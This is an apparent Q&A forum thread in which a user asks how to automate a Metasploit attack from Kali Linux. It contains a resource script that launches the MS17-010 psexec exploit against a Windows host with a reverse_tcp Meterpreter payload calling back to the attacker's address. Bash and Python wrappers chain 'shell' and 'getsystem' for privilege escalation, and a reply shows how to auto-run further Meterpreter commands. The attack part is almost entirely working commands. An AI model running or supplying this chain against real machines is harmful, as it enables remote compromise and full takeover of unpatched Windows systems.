0

I want to automate an attack (for some testing purposes) using metasploit in kali linux. Metasploit commands are save in ms17-010.rc file, and the file is called in the script followed by meterpreter commands. I have tried both bash scripting (Attack_script.sh) and python scripting (test.py). The problem is:

After executing the first command "msfconsole -r /root/ms17-010.rc", first metasploit console is opened and execute the commands saved in "ms17-010.rc" file. Then a meterpreter console is obtained on the same terminal, but it does not execute the remaining commands, Which i want to run on Meterpreter. When i exit both meterpreter and msfconsole, then the comands are executed on terminal.

The problem is with both bash and python script. Hope that i am clear. Please help me out.

## Msf RC script: ms17-010.rc ######


use exploit/windows/smb/ms17_010_psexec 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash script: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python script: test.py ######
from os import *

system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")
  • You run each command in a child process. `msfconsole` runs until it is complete, only then will it run the other child processes. You probably need the `-x` option to `msfconsole`. *-x, --execute-command COMMAND Execute the specified string as console commands (use ; for multiples)*. From https://www.offensive-security.com/metasploit-unleashed/msfconsole/. By the way, in python `os.system()` has been obsolete for a long time. – cdarke Jul 11 '19 at 16:22
  • No you probably didn't understand my question (sorry if i was not clear) Actually i want to run in the child process like terminal -> msfconsole -> meterpreter, I want to run commands in 2nd child (that is meterpreter). Using any of bash or python scripts. – Muhammad Haider Ali Khan Jul 11 '19 at 17:43

1 Answers1

0

In that ms17-010.rc add one more Line 'set AutoRunScript multi_console_command -r meterpreter.rb' By this it will execute the commands stored in meterpreter.rb in a meterpreter shell. You need to create a .rb script with commands you want to execute and done